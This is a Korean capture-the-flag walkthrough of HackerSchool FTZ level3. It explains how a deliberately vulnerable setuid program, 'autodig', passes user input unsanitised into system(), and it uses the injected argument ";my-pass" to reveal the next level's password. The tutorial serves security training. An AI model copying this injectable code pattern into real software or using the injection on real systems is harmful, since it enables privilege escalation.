[HackerSchool] 해커스쿨 FTZ: level3

$ cat hint

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

 

이번 힌트에는 autodig 라는 파일을 이용해야하는데,

이 파일의 코드 (c언어)를 이해해야한다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
// 사용자에게 정수와 문자열을 입력받는다
 
    char cmd[100];
 
    if( argc!=2 ){
    // 정수가 2가 아니라면 아래 내용 출력후 종료
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
    // cmd = dig@{사용자가입력한문자}version.bind chaos txt

    system( cmd );
    // cmd를 명령어로 실행
 
}

 

이 파일을 실행할때 인자만 적절히 조작하면 원하는 명령어를 실행가능하다.

우리는 my-pass 라는 명령어만 실행하면 된다.

 

일단 autodig 를 찾자

$ find / -user level4

[level3@ftz level3]$ find / -user level4
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
...
/bin/autodig
...
find: /home/trainer7: Permission denied
find: /home/trainer8: Permission denied
find: /home/trainer9: Permission denied

 

bin 으로 이동하고 autodig를 실행해보자

$ cd /bin

$ ./autodig

[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ./autodig
Auto Digger Version 0.9
Usage : ./autodig host

argc가 2가 아니므로 코드내에 있던 내용이 출력되고 종료되었다.

 

autodig 파일을 한번만 더 살펴보자

strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
// cmd = dig@{사용자가입력한문자}version.bind chaos txt

본 파일에서는 사용자가 입력한 문자열을 포함한 명령어를 실행한다.

dig@~로 시작하는 명령어는 그냥 종료시켜버리고, my-pass가 실행되게 하면 된다.

세미콜론을 넣으면 앞 명령어를 실행하고 뒤에 다른 명령어를 또 실행할 수 있다

 

cmd = dig@;my-pass version.bind chaos txt 이렇게 !!

 

즉 인자로 ";my-pass"라는 문자열을 전달해주면 해당 파일이 알아서 내가 원하는 명령어를 실행하게 된다.

 

$ ./autodig ";my-pass"

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known
...

dig@; 에 대한 명령 실행 결과로 Couldn't find server '': Name or service not known 이라는 내용이 출력되었고

이어서 my-pass 에 대한 명령 실행 결과로 패스워드가 출력된다.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".